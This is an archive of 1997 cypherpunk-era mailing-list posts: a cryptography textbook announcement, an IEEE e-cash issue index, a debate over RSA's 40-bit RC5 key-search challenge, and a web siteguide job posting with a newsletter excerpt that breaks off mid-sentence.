FOR IMMEDIATE RELEASE 6 February 1997 Aegean Park Press proudly announces publication of CLASSICAL CRYPTOGRAPHY COURSE - VOLUME II by Randall K. Nichols [LANAKI]. [ISBN: 0-89412-264-9, 1997, 464 pages, $US 40.80 ] Volume II presents Lectures 11 - 22 (of a total of twenty five) from his successful course in Classical Cryptography taught in 1995 and 1996 to 391 students via the Internet and an additional 65 via regular mail. Volume II covers polyalphabetic substitutions ciphers in the Vigenere family (Viggy, Variant, Beaufort, Porta, Gronsfeld, Portax, Gromark), decimation, principles of symmetry, isologs and superimposition solution techniques. Volume II describes the difficult aperiodic cipher systems (Interrupted key, Autoclave, Progressive, Running Key used in cipher machines) and their analysis by isomorphs, and repetitions. Cryptarithm solutions for extended bases are presented. The theory of coincidences and statistical attacks (Kappa, Chi, Phi) derived from this important theory are detailed. Transposition theory and a variety of transposition ciphers are solved (Columnar, Amsco, Myszkowski, Cadenus, Grille, Swagman, Auto-Transposition). Volume II has two chapters on the difficult cipher systems invented by the famous French cryptographer Delastelle: Foursquare, Bifid and Trifid. Volume II presents a detailed chapter on passwords, law and data protection. Volume II ends with a historical look at codes, commercial code systems, and famous cipher machines. Volume II is a potpourri of advanced topics in classical cryptography. The Cryptographic Resources and References section has been expanded to cover all phases of involvement with cryptography: cryptanalysis, history, legal, social, classical, modern, NSA, mathematical techniques, recreational, intelligence, tactical, strategic, National Defense, INFOSEC: offensive and defensive, hardware, software, standards, public key cryptography, web sources, and applicable Senate and House bills. Readers are encouraged to expand their knowledge in the many directions possible to them through this section. For orders or Information Contact: Aegean Park Press, P.O. Box 2837, Laguna Hills, Ca. 92654. Telephone: 1-800-736-3587; Fax: 1-714-586-8269. Group discounts available. REVIEW OF CLASSICAL CRYPTOGRAPHY COURSE, VOLUME I By the Honorable David Kennedy, Director of Research, NCSA. Classical Cryptography Course, Volume I. By Randall K. Nichols; published by Aegean Park Press, (714) 586-8811 (phone) (714) 586-8269 (fax); (800) 736 - 3587; 301 pages (with index); $34.80 (American Cryptogram Association members receive a 20% discount through ACA or NCSA Members receive a 10% discount if purchased from the NCSA Bookstore) In Classical Cryptography Course, Volume I, author Randall K. Nichols has created a benchmark for serious students of the science of cryptography. This is a text. It is for learning, and with it one cannot help but learn about the foundations of the science. An outgrowth of Nichols' admitted "labor of love" in the online Cryptography Courses he teaches over the Internet, Volume I creates the foundation for understanding the development of the science. The ten chapters of this volume lead the student through simple substitutions, substitutions with variants, multiliteral substitutions, xenocrypts (foreign language substitutions), cryptarithms, the Enigma machine (separate Enigma95 program disk available direct from the author) and finally to polyalphabetic substitutions. Seven chapters conclude with problems; solutions and discussions are provided in an appendix. The text is indexed with twenty-four pages of references for further study. I found Nichols' sense of the history of cryptography particularly noteworthy. The volume is liberally salted with citations from history with applications of the methods developed in the text. From Revolutionary France through the American Civil War, the Tammany Hall scandal, Revolutionary Soviet ciphers and Japanese successes against Chinese codes prior to Pearl Harbor, the text provides touchstones for student to understand and relate to. Phil Zimmermann observed in the documentation to his Pretty Good Privacy Program to "Beware of Snake Oil." Among his arguments is this anecdote: I remember a conversation with Brian Snow, a highly placed senior cryptographer with the NSA. He said he would never trust an encryption algorithm designed by someone who had not "earned their bones" by first spending a lot of time cracking codes. Where Schneier's Applied Cryptography is a crash course in some encryption protocols and algorithms in use today, Nichols' text begins the teaching of Snake Oil detection and prevention. Learning the fundamentals, developed throughout the text, brings a richer understanding of the science, it's history and insight into it's possibilities and some vulnerabilities lurking for the unwary. Nichols plans for release Volume II in the series with advanced material on from the online course which includes statistical attacks and transposition in February, 1997. Reviewer: Dave Kennedy, CISSP, is Director of Research for the National Computer Security Association, Carlisle, PA. He is a retired Army military police officer and member of NCSA, ASIS, ISSA and the Computer Security Institute. reposted from cryptography(a)c2.org Brian

1 0

Interesting ressource
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text X-Sender: leroux(a)mail.vdl2.ca Date: Mon, 10 Feb 1997 13:05:08 -0500 To: dcsb(a)ai.mit.edu From: Philippe Le Roux <leroux(a)vdl2.ca> Subject: Interesting ressource Mime-Version: 1.0 Sender: bounce-dcsb(a)ai.mit.edu Precedence: bulk Reply-To: Philippe Le Roux <leroux(a)vdl2.ca> The IEEE published a special issue of Spectrum (http://www.spectrum.ieee.org/contents/) about digital commerce and ecash. This is the index : Electronic money: toward a virtual wallet By Tekla S. Perry Hard currency is disappearing from many everyday transactions along the road to electronic money. Future of electronic money: a regulator's perspective By Edward W. Kelley Jr. The way electronics will fit into the evolution of money--from acting as a niche player to wreaking major changes in payment systems--has yet to be determined. Credits and debits on the Internet By Marvin A. Sirbu CyberCash, First Virtual, GC Tech, NetBill--these and other systems have been developed to enable electronic transfers of payments across the Internet. 'Minting' electronic cash By David Chaum & Stefan Brands Electronic cash can offer transaction privacy to honest users, affords convenient storage and transportation, and protects against loss. Traceable e-cash By Peter S. Gemmell One method of making electronic cash transactions private for honest users but traceable by law enforcement agencies involves the use of trustees. Crime and prevention: a Treasury viewpoint By Stanley E. Morris The speed and anonymity of electronic payment systems make them attractive to those pursuing illicit activities. Locking the e-safe By Robert W. Baldwin & C. Victor Chang Existing encryption-based security mechanisms can be combined to minimize a wide range of threats to electronic commerce. In your pocket: smartcards By Carol Hovenga Fancher A wallet full of cash, credit, and identification cards may, in the future, be replaced with two or three smartcards, each containing an IC, as a recent flurry of market tests and smartcard rollouts demonstrates. Banking in cyberspace: an investment in itself By Michael C. McChesney While home banking has been around for some time, Internet banking is a new concept, and has a number of advantages. Technology takes to securities trading By Steven M. H. Wallman >From stock offerings conducted entirely over the Internet, to the automation of traditional exchanges, technology is changing the way stock markets work. Nasdaq's technology floor: its president takes stock By Alfred R. Berkeley III This screen-based stock market has been particularly sensitive to the effects of new computer and communications capabilities. The economics of e-cash By Mike Ter Maat Electronic cash can create profits for its issuers, and launch competition for today's government-controlled currency systems. Money and the Internet: a strange new relationship By Howard Anderson This visionary sees the e-money revolution as inevitable, with "e-mail for money" becoming as ubiquitous in the future as e-mail messages are already today. *PLR! ------------------------------------------------------------------------------ Philippe Le Roux Associe de V(DL)2 Inc. Membre du SCIP (Society of Competitive Intelligence Professionals) Co-Auteur d'Internet Secrets (IDG - 95) Chroniqueur a Benefice.Net -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i Comment: Requires PGP version 2.6 or later. mQBNAjLyVpEAAAECAKiVNKY2l2moieX3JsvrXKSvHqwF0Hq24cKh1p1VDaFEwWPs /C6fMmo47FZIpV6xC/uRBiHVfW5d26AvJz1Ww7EABRG0IVBoaWxpcHBlIExlIFJv dXggPGxlcm91eEB2ZGwyLmNhPokAVQIFEDLyVpHboC8nPVbDsQEBtwcB/An4zBwC g9e1lFsVhVgmplxfUYAv3T7D7fAdCTeD51cJjns+Yh/3MoZQa7zns0BQFtRLoInL HY4WrDBs9wSXZ70= =tEnk -----END PGP PUBLIC KEY BLOCK----- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To unsubscribe from the dcsb list, send a letter to: Majordomo(a)ai.mit.edu In the body of the message, write: unsubscribe dcsb Or, to subscribe, write: subscribe dcsb If you have questions, write to me at Owner-DCSB(a)ai.mit.edu --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle

1 0

Re: 40-bit RC5 crack meaningless??
by Anonymous 17 Dec '03

17 Dec '03

[Excerpts from Winn Schwartau's 2/9 "InfoWar Digest," with responses to Paul Strassmann's diatribe on the RSADS Secret-Key Challenge. Burt Kaliski, Tim May, Padgett Peterson -- among others -- toss in their two bits. Longish. [FYI: RSADS still has 12 open Challenges pending, offering cash rewards for anyone who can decrypt 56-bit DES -- or any of eleven _other_ RC5 cyphertext samples, encrypted with keys of varied lengths, ranging from 48-bit through 128-bits. Details somewhere on the RSA site: <http://www.rsa.com> ] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From: Burt Kaliski <burt(a)RSA.COM> To: "'infowar(a)infowar.com'" <infowar(a)infowar.com> Subject: Further to Goldberg's Cracking Accomplishments Date: Wed, 5 Feb 1997 13:58:53 -0800 Paul A. Strassmann <paul(a)strassmann.com> quoted a UC Berkeley press release on Ian Goldberg's successful effort to discover the unknown 40-bit key to an RC5 ciphertext offered in the RSA Data Security Secret-Key Challenge, and raised a number of justifiable concerns about whether a contest like the Challenge is an appropriate measure of the security of a 40-bit encryption algorithm in an InfoWar environment. >>As I suspected (see earlier private comment), the >>highly promoted RSA cracking contest offered >>a number of clues that ordinarly would not be >>volunteered by info-terrorists or info-criminals to >>IW Defense teams. >> >>These clues made the cracking significantly easier, >>because it made it possible to eliminate an enormous >>range of possible searches. Mr. Strassmann is a well known scholar of the InfoWar threat environment. I am not, so I cannot address those specific concerns directly -- but I would like to offer some rationale as to why the Challenge was structured as it was. The RSA Data Security Secret-Key Challenge <http://www.rsa.com/rsalabs/97challenge/>, started last week, is an open contest sponsored by RSA Laboratories that offers cash prizes for the successful recovery of encryption keys for the DES and RC5 block ciphers. Following the model of the RSA Factoring Challenge which for several years has provided an assessment of the security of the RSA public-key algorithm at various key sizes, the Secret-Key Challenge is intended to measure of the security of secret-key algorithms at various key sizes. As was the case with the Factoring Challenge, full details of the algorithms and key sizes are provided. In addition, three plaintext-ciphertext pairs (the ciphertext encrypted with the key of interest) are provided for each key to be recovered. Last week, the first of the keys in the Challenge, a 40-bit RC5 key, was recovered by Ian Goldberg, a U.C. Berkeley graduate student. His effort involved about 250 workstations and took 3.5 hours. When I called Mr. Goldberg to congratulate him in a teleconference during the RSA Data Security Conference last week, he explained that he had discovered the valid key with a search of about 350 billion keys, using a university computer network to search at a rate of 100 billion keys/hour. There are about 1 trillion 40-bit keys, for any algorithm. Mr. Goldberg's search method involved simple brute-force; that is, the known plaintext was encrypted with each key, and then compared to the available ciphertext, looking for a match. The overall effort was essentially what was expected for the 40-bit key size, and as one would expect, the recovery of a key for the other RC5 key sizes (from 48 bits to 128 bit), or for DES (56 bits), will involve much more work. With the same "brute force" method employed by Mr. Goldberg last week, one would expect a 256-fold increase in effort for each eight-bit increase in key size. Special-purpose hardware may reduce the actual time, of course, but the total number of possible keys to be tested will grow at that rate. Mr. Strassman expressed concern as to whether the successful recovery of a 40-bit key in 3.5 hours is a realistic measure of the strength of 40-bit keys in an InfoWar environment, where full details of the algorithm and plaintext blocks are not necessarily known. Again, not being acquainted with the threat environment, I cannot address his concerns directly. Nevertheless, RSA Laboratories does consider this type of contest to be appropriate as a general measure of cryptographic strength -- for RSA's products and those of any other vendor in the international crytographic community. The information provided to RSA Secret-Key Challenge contestants is no more than is common and conventional for any open contest to test the strength of a cryptographic algorithm. These conventions have evolved within the international community of cryptographers seeking, on the basis of several acknowledged principles, to develop common criteria for measuring the relative strength or security of any particular cryptographic algorithm with a given key size. Our rationale for the structure of the Challenge is reflected in the following observations: * Knowledge of the algorithm and key size (as per Kerchoffs' principle), as well as the availability of known plaintext, are standard assumptions in modern cryptanalysis. Since an opponent may obtain this information eventually, it is preferable not to rely on its secrecy when assessing cryptographic strength. * The implementation of large-scale key-search engines is simplified under the standard assumptions. This makes the contest accessible to a wider variety of contributors, than if we required contributors to know, for instance, a particular language, or language statistics, or other characteristics of the plaintext. (Perhaps another challenge where we didn't provide plaintext samples would be a worthwhile follow-up.) * In practice -- even if the plaintext is not known -- significant information about it is likely to be, such as character distributions (ASCII, English), header values (e.g., BER tag and length), or padding. The cost (in time, effort, and computing resources) of a key search with even a small amount of information of this kind is not significantly more than the cost with known plaintext. For instance, if it is known that the characters are represented in ASCII, for instance, then one can decrypt available ciphertext with each key and check that the recovered plaintext follows ASCII conventions (most significant bit of each byte 0). The chance that an incorrect key produces plaintext that passes the test is 1/2^k where k is the number of plaintext bytes recovered. This means, for example, that of 2^40 keys tried, we expect only 2^32 to pass the check for a single eight-byte block. The 2^32 keys must then be tested further against other ciphertext blocks. So instead of 2^40 encryptions -- as in the case when the plaintext is known -- a cryptanalyst would need to search within 2^40+2^32+2^24+2^16+2^8+1 (roughly) keys, to find the correct key. But this represents an increase in effort of less than 0.5 percent. RSA Laboratories appreciates the InfoWar Community's interest in the RSA Data Security Secret-Key Challenge, and Mr. Strassmann's comments in particular. We look forward to further suggestions and critiques of our efforts. -- Burt Kaliski >Chief Scientist >RSA Laboratories ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Mon, 3 Feb 1997 21:42:24 -0800 To: infowar(a)infowar.com From: "Timothy C. May" <tcmay(a)got.net> Subject: Re: Infowar Digest Volume 02: Number 04 - Crypto and Goldberg I seldom read your newsletter carefully. I did tonight, and discovered two of the items you included contain serious errors. (Of course, as a strong advocate of "infowar" I suppose I'm pleased to see your subscribers in the government misled by these errors...it makes our job a little easier in the long run.) >To: infowar(a)infowar.com >From: Patrick Galley <Patrick.Galley(a)studi.epfl.ch >Subject: New crypto attack >Date: Mon, 27 Jan 1997 07:56:39 +0000 > >Hello > >A friend of mine told me to look at the WWW site "John Douglass' >CryptoMaverick Page"). > >There I've found a paper from John Douglass which says that if RSA >products are sold worldwide it because there is a backdoor inside. He >said the same thing for DES and PGP. ..... >If this guy is right. It would be better for is security that everybody >knows the truth. > >I think it would be nice if you could look at this doc and talk about it >in infowar.com. I looked at the site and it's a mixture of conspiracy theory rantings and misinformation. As to the security of various RSA algorithms (and PGP, for example), the security of many of these algorithms lies in the publishing of the source code, with digital signatures on the released binaries to allow independent verification. If a real security hole is found in, say, PGP or Netscape, expect it to be publicized loudly and quickly. (Indeed, certain flaws have been found, and quickly publicized. The same Ian Goldberg involved in later message was one of those who isolated a flaw in the random number generator used in an earlier version of Netscape.) The web site mentioned here doesn't cut it, and this message here is just more "disinformation" (itself a part of infowar, so I guess the author is practicing his skills). >Date: Thu, 30 Jan 1997 20:10:36 -0500 >To: "Wright Larry" <Wright_Larry(a)bah.com> >From: "Paul A. Strassmann" <paul(a)strassmann.com> >Subject: Further to Goldberg's Cracking Accomplishments >Gentlemen: > >As I suspected (see earlier private comment), the >highly promoted RSA cracking contest offered >a number of clues that ordinarly would not be >volunteered by info-terrorists or info-criminals to >IW Defense teams. Paul Strassmann is simply missing the central point of cracking the 40-bit export-allowed version. It is not based on a known plaintext attack, but on exhaustive search of the 40-bit keyspace. What Goldberg and his colleagues who contributed CPU time on the "NOW" (Network of Workstations) did was to search approximately 100 billion keys per hour. As there are about a trillion keys in the 40-bit keyspace, it was a foregone conclusion they would find the key within 10 hours (modulo any screwups at their end), with about half the time being the most likely time. As it was, they found the key a tad bit early, by the luck of the draw (so to speak). RSA certainly knows how long it takes to brute force the keyspace. They just didn't know who would find the key first. (And at least one other group reported a solution within minutes of Goldberg's report.) So, Paul is simply throwing disinformation--or lack of understanding--into the air by claiming that this crack does not mean a 40-bit key is "weak." Simply put, it is. Anyone who looks at the math understands this. The keyspace is simply too small for real security. (Does the NSA use 40-bit keys? Of course not. Hmmmhhh.) As the select panel of cryptographers empaneled to study key lengths concluded, 56 bits is already too weak, 80 bits is better and should be adopted forthwith for export, and >96 bits is preferable. As an "infowarrior" of sorts myself, I can assure you that we don't give a hoot in hell what the regs say is "allowed." When any tourist on his way to Europe can carry as many CD-ROMSs and DAT tapes in his luggage as he wishes, with absolutely no "exit checks," who really cares what the "export laws" allow? (I carried 5 gigabytes of data, some of it crypto-related, to a meeting with cryptographers and crypto anarchists in Monte Carlo a while back. Obviously I was not searched or even glanced at on my way out, nor on my arrival at Charles de Gaulle airport, etc. Only upon my return to San Francisco was I asked what my business had been. The Customs Officer gave me a blank look when I told him I was meeting with cryptographers in Monte Carlo (I told him the truth, knowing I was breaking no laws whatsoever). He had no idea what I was talking about, and was bored. He then asked me if I was bringing back any stuff I bought in shops over there. "No," I told him. He just waved me through.) Not to mention the ease with which stuff is shipped out over the Internet. (I made a bet a couple of years ago that each major new cipher would arrive at offshore non-U.S. sites within 3 hours of release in the U.S. Remailers make it so easy to bounce stuff around.) And of course I was the one in 1988 who first proposed the now-popular method of using the least significant bits (LSBs) of CDs and DATs filled with music, and LSBs of GIF images, to transparently export megabytes of data undetectably. (To any sniffers, the LSBs are formally and statistically identical to the ordinary noise of microphones and recording electronics.) A normal 2-hour DAT tape of a recording I made off the radio or off of one of my CDs can carry 160 megabytes of "data" riding in just the LSBs alone. That's equivalent to 16 copies of the Bible, or a significant chunk of the B-2 Stealth bomber CAD database. I'd like to see your list get involved in more accurate and less scare-mongering discussions. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Tue, 4 Feb 1997 00:52:28 -0500 (EST) From: "Craig H. Rowland" <crowland(a)psionic.com> To: "Betty G. O'Hearn" <betty(a)infowar.com> Subject: RSA > Date: Thu, 30 Jan 1997 20:10:36 -0500 > To: "Wright Larry" <Wright_Larry(a)bah.com> > From: "Paul A. Strassmann" <paul(a)strassmann.com> > Subject: Further to Goldberg's Cracking Accomplishments > Gentlemen: > > As I suspected (see earlier private comment), the > highly promoted RSA cracking contest offered > a number of clues that ordinarly would not be > volunteered by info-terrorists or info-criminals to > IW Defense teams. > > These clues made the cracking significantly easier, > because it made it possible to eliminate an enormous > range of possible searches. You are talking about implementing security through obscurity. You can never assume that an enemy does not know what security precautions are in place to protect information, or in this case, what cipher you have chosen to protect your data. The security of your in-place mechanisms should be able to stand on their own merits under a worst case scenario of full public disclosure. > > The following was extracted verbatim from the > <The RSA Data Security Secret-Key Challenge> > posted on <http://www.rsa.com/rsalabs/97challenge/>: > > Clue #1: > > " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge > will use > 12-round RC5 with a 32-bit word size. " > > Clue #2: > > " ...The first RC5 contest will consist of some unknown plaintext > encrypted using a 40-bit key;." > > Clue #3: (a giveway!) > > " ... For each contest, the unknown plaintext message is preceded by three > known blocks of text that contain the 24-character phrase "The > unknown message is: .....". Let me address 1, 2, and 3 all together as they all suffer from the same flaw in logic as discussed above. First, the ciphers in this contest includes more than RC5, the main point of the contest is not to illustrate the security of a particular cipher from cryptanalytic attack, but rather to show that key lengths that are too short are insecure against a brute force attack. The fact that the cipher is known does not affect the overall purpose of the contest. Second, you are again assuming the cipher is unknown by your enemy. Suppose you are a financial institution, I can be almost 100% assured that your communications are protected with DES as the cipher. If I can discover what equipment you are using and what modes the cipher runs in (CBC, ECB, etc) I can then attempt a similiar brute-force attack using the widely available DES specifications. Commercial organizations using exportable software systems suffer the same fate. You are also assuming that a mathmatical analysis of the encrypted data stream will not reveal what cipher is being used. Various statistical attacks could reveal key pieces of information that could quickly unveil what cipher you are using and what mode it is being run in. Third, just because part of a message is known does not mean the contest is invalid. Many network communication protocols use a fixed set of characters to establish and end communication sessions. An attacker, aware of how the protocols work, can often discern what a message may contain when it is initiated. An example of this could include SMTP traffic which includes a standard set of protocol keywords, or an electronic funds transfer which includes unique bank identification numbers or other similar data. This is called a known plaintext attack and is very common. > > In summary: The claim of exportable cryptography being totally > insecure, because it can be cracked in 3.5 hours is not > realistic. The three clues announced in the contest > would not apply under infowar conditions. Again, this is not correct. You are assuming total ignorance by the enemy which is rarely the case. > > What other clues may have been provided to Goldberg > to support private agendas and gain shrill headlines > is also a matter of speculation, but I rest my case. Why does one even need a "clue" about this key size? It should be obvious to anyone remotely educated/interested in the field of cryptography that the reason the NSA limits exportable key length to 40 bits or less to begin with is so they can do the same thing at Ft. Meade on their internal computers that was done here publically. The whole debate over exportable encryption rarely rests on the cipher, but rather on the *length* of the keys used. This *alone* should be enough to convince the reader that key length is in fact a very vital issue for both the NSA and the Internet community. > I certainly cannot assert that a 40 bit key cannot be decyphered. > However, I do not think that the RSA unqualified claims > offer full and appropriate disclosure. Nonsense..RSA sells cipher technology that uses both 40 bit encryption and higher, they make their money either way...their only bias in this area is that they have their exportable software crippled in such a way as to make it useless to foreign buyers. Luckily companies in Finland, Switzerland, and Germany are starting to take up the slack and provide strong cryptographic products of their own. -- Craig ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Tue, 4 Feb 1997 12:49:25 -0500 (EST) To: infowar(a)infowar.com From: Bob Stratton <strat(a)wheelgroup.com> Subject: RSA's Challenge Claims and the Real World In Infowar Digest Volume 02, Number 04, Paul Strassman writes: >In summary: The claim of exportable cryptography being totally >insecure, because it can be cracked in 3.5 hours is not >realistic. The three clues announced in the contest >would not apply under infowar conditions. > >What other clues may have been provided to Goldberg >to support private agendas and gain shrill headlines >is also a matter of speculation, but I rest my case. > >I certainly cannot assert that a 40 bit key cannot be decyphered. >However, I do not think that the RSA unqualified claims >offer full and appropriate disclosure. I feel compelled to respectfully submit what may be considered a rebuttal. In general, I tend to dismiss claims of anything being "totally" anything, but in this particular instance, I think further discussion may be warranted. I admit to being a little surprised by this tack on the part of RSA. RSA Labs (the research side of that house) has earned my respect over time by doing serious cryptological work and publishing it in a thoughtful, academic manner worthy of note. The histrionics of press releases notwithstanding, I think these comments merit further examination: I may concede that the "three clues...would not apply under infowar conditions". In doing so, I must also ask for further clarification as to exactly which infowar Mr.Strassman is referring. Given this forum's consideration of the national security implications of attack on the financial infrastructure, it seems a fair question. In any event, I question whether this is relevant within the context of the challenge, and the purposes behind it. RSA's purpose in posting this challenge was presumably to enlighten the public and others as to the _relative_ strength of currently exportable cryptosystems. I have no doubt that the agenda behind this is to encourage resistance to current U.S. policies on cryptographic export, a stance designed to maximize share value in what is admittedly a commercial venture. I'm also willing to note that I have a general distaste for INFOSEC "challenges" of any sort. I would, however, like to explore the assertion that the clues posted in the challenge were not offered in the spirit of full and fair disclosure. I will concede in any case that this was not an exhaustive, controlled study. "Challenges" such as these have a place. Within the INFOSEC environment, cryptanalytic attack appears to be one of the more reasonable areas for them. Compared to "challenges" against network "firewalls", for example, cryptanalysis is an area where there is the opportunity to adequately define the goal and to measure the result. In this case, RSA was not attempting to prove a negative, as have so many (too many) other firms offering so-called "challenges". If we restrict our focus for purposes of argument to commercially available cryptographic software, the clues become significantly less onerous and mysterious. Clue #1, the disclosure of 12-round RC5 with a 32-bit word size, is certainly the most arcane of the lot. Speaking as a former commercial software developer, I would be quite surprised if vendors would not routinely disclose information of this sort. Certainly vendors using standard algorithms would tend to be more willing to do so than those using proprietary ones, which only bolsters my later arguments, as you will see below. If we may depart for just a moment to other algorithms, almost any _standard_ implementation of an algorithm which is interoperable with other implementations would, by definition, disclose or facilitate disclosure of this sort of information, by its very nature. Again, in a commercial environment, interoperability is key (no pun intended), so it's likely that implementation details are either available, or readily deducible. Clue 2, the disclosure of key size, again meets the standards just discussed. In the case of products recently exportable from the U.S., one of two things is generally true. Either the key size is actually 40 bits, or the key size is larger than 40 bits, but steps are taken to make all key information beyond 40 bits accessible to observers of the tool. Again, in a commercial environment, this is no secret. Clue 3 is perhaps where I'm most inclined to agree with Mr. Strassman. Disclosure of known plaintext, in this case the phrase "The unknown message is:" is certainly quite serious in that it may significantly aid cryptanalytic attack. My only comment here is that in the commercial arena, interoperability demands standards, and standards define consistent protocols. Those protocols will almost always result in some manner of reproducible content, most readily exemplified by message headers in electronic mail systems. While mechanisms exist for enhanced cryptographic protection of said content, in general the commercial environment has lagged behind the military, and perhaps rightly so. In none of the aforementioned cases, however, do I see information that fundamentally invalidates the significance of RSA's Challenge TO THE CIVILIAN COMMERCIAL INFOSEC COMMUNITY. That community has serious, current INFOSEC needs, and one must question (as I know many of us do every day) to what degree we're willing to lay our economic fabric open to subversion in order to lessen the cost of intelligence collection. --Bob Stratton ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Tue, 4 Feb 1997 9:25:21 -0500 (EST) From: "A. Padgett Peterson P.E. Information Security" <PADGETT(a)hobbes.orl.mmc.com> To: infowar(a)infowar.com Subject: RSA challenge Paul rote: >As I suspected (see earlier private comment), the >highly promoted RSA cracking contest offered >a number of clues that ordinarly would not be >volunteered by info-terrorists or info-criminals to >IW Defense teams. ... >Clue #3: (a giveway!) > " ... For each contest, the unknown plaintext message is preceded by three > known blocks of text that contain the 24-character phrase "The > unknown message is: .....". Those who follow my hobby may have noticed that about two years ago I began using the "3.5 hour" figure to assign a maximun value of $250 to any information sent via a 40 bit code. The advent of multiple parallel machines (via networks) capable of operating entirely out of L1 cache just made the technology available. However, such attacks do rely on known plain text for speed (final test is a simple XOR/alarm if zero. The same technology was used in Colossis back in 1944. It was just a touch slower. The simle answer is message compression prior to encryption which would make deciding when the message was broken much more difficult. Naysayers claim "there is always KPT" but this does not need to be true. - whole months of Enigma traffic went undecoded because there was no crib available but eventually human error gave the BP team a clue. Today, electronic systems can remove such errors from human hands. Personally believe that 56 bits is "good enough" today though it makes little sense from a programming standpoint not to use 64 *so long as a different key is used for every message and every message, no matter how trivial, is encrypted*. Or you could use a "shared secret" book code: a simple XOR with a digital satellite data stream transmitting compressed video should do nicely. All that is needed is to know which stream and when to start. I call that an "unwitting key provider". So as Paul says, the contest proves little except to confirm my 3.5 hour estimate (remember the gentleman in France who broke the 40 bit NS code last year and what his time was...) - but that was for equipment available several years ago. Today I use the figure of one gig kps (keys per second) for 1997 equipment per seive. A single one would break 40 bits in an average of under 10 min. DES would fall in a day to 400 in parallel. But the question remains: without KPT, how can you tell when the break occured ? Is a world of difference between an XOR and decompression. And if every message uses a differnt key... Warmly, Padgett ps WORD virus anti-virus macro is avaliable: http://www.netmind.com/~padgett/ under "Anti-Virus hobby". FreeWare. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1 0

Cryptography WWW Siteguide wanted.
by Carol Anne Cypherpunk 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- The Mining Co. (http://www.miningco.com) is looking for "siteguides". There will surely be a guide needed for cryptography. Pay is commensurate with hit volume, but it isn't too shabby, at about 3K per month after about a year. There is the original posting from Sideman's Online Insider following this post to acquaint you with the particulars. Good Luck to whomever from this list (for I'm sure someone will) takes the aformentioned position. I would, but I'm applying for a different site in the Culture/Beliefs section. On one other note, the PGP Plugin for Eudora is MARVELOUS! THIS I can even teach a clueless newbie! Carol Anne Cypherpunk -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Uncensored from heavily.censored.org iQCVAwUBMwAfd4rpjEWs1wBlAQG3YwP/XXgJfqD06KTLfdDfj2mAweBrFAASsRR8 q37l43InJU/AVhRJ0MKkcmxto7sfO1jHNW6O0+0HjrnMRZAmnw7YH806+mCCerUG CeTT5U97Cp/V5Yud6r6f0vqP/BPk8etGIZnGgWKajJ49rFTGlk01AgQz1xE49mmI i962UdPbyVs= =69D8 -----END PGP SIGNATURE----- ========================================================================== Seidman's Online Insider - Vol. 4, Issue 6 Brought to you by NetGuide Magazine< http://www.netguide.com > ========================================================================== Copyright (C) 1997 Robert Seidman and CMP Media Inc. All rights reserved. May be reproduced in any medium for noncommercial purposes as long as attribution is given. Kurnit is Back and Mining the Internet ====================================== "Like Arnold, he'll be back. I've been listening to what he has to say for a long time. If you listen to him, you'll hear how the Web is the way and that the proprietary services are a dead model. If you listen between-the-lines, you'll hear a modified version of that vision. A best of both worlds vision. You'll hear that he wants to develop easy to use, functional services on the Web. Like easy to use chat. Like easy to use bulletin boards. Like AOL, but on the Web." -Thoughts on Scott Kurnit in a piece regarding the failed MCI/News Corp joint venture from Seidman's Online Insider for the Week Ending February 9, 1996. Kurnit's back, and almost exactly a year to the day since the clip above was written. On Monday February 10, the new company Kurnit founded, The Mining Company, will announce their plans to basically build AOL on the Web. I'm not sure about the choice of February 10 as the day to announce this. It is a day with special significance for me. On February 10, 1972 I had a dilemma. I was hungry for breakfast and wanted some cereal. I had cereal, but no milk. So I called my mom at work and asked her if I could run across the street to the convenience store. My mom said no because "the street" was more like a highway and because I was 9 years old. "You'll get hit by a car," my mom said. As you might imagine, I went anyway. And as you also might have guessed by now my mother was right, except no car was good enough for me. I had to face off with a ten-wheeler (it was an Amoco < http://www.amoco.com > Oil tanker.) Twenty-two stitches in the head, a healed broken wrist and 25 years later, I'm still hanging in there. I don't remember anything about it, including seeing the truck. I've always wondered if I was pushed. What I do remember was waking up in the ambulance with quite a headache. But since then, seeing how I lived and all, I've always viewed February 10 as a GOOD day. The Mining Company may not be a truck setting its sights on running down AOL or even other Web content aggregators (even to some degree NetGuide Live), but it is an interesting model. *What It Is* In effect, The Mining Company wants to be the biggest online service on the Web, ultimately offering 4,000 special-interest areas in an integrated, easy-to-use interface. Whether you call these special areas channels, departments or categories -- it's all the same thing. Kurnit wants to capitalize on the fact that it takes too long to find what you want on the Net. He wants to put it all in one place with one consistent interface so that you can easily find what you're looking for and interact with those who have common interests. Each "channel" will have content, bulletin boards, online chats, links to other good stuff on the Web in the particular area of interest. You'll also be able to search a site via Verity's search engine or search the entire Net via Digital's Alta Vista. While they are currently testing another chat product, they have decided to move to the iChat chat client. In the test system I had access to, the bulletin board system was very easy to use, but painfully slow. I'll cut them some slack since they are still in beta, but users will need to be able to move around the boards quicker than what I experienced or they will likely be put 